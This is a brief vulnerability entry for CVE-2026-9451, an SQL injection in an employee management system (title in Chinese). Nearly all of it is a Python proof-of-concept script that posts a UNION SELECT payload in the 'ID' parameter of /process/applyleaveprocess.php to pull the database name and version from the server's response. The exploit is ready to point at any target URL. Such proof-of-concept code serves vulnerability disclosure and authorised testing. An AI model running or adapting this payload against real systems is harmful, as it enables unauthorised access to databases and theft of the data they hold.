CVE-2026-9451 员工管理系统SQL注入漏洞

import requests def verify_sqli(target_url): """PoC for SQL Injection in ID parameter""" # Vulnerable endpoint full_url = f"{target_url}/process/applyleaveprocess.php" # Payload to extract database version (Generic example) # Adjust based on the number of columns in the original query payload = { "ID": "1' UNION SELECT 1, database(), version(), 4-- -" } try: response = requests.post(full_url, data=payload, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for database info leakage.") print(response.text[:200]) # Print snippet else: print("[-] Unexpected status code:", response.status_code) except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target verify_sqli(target)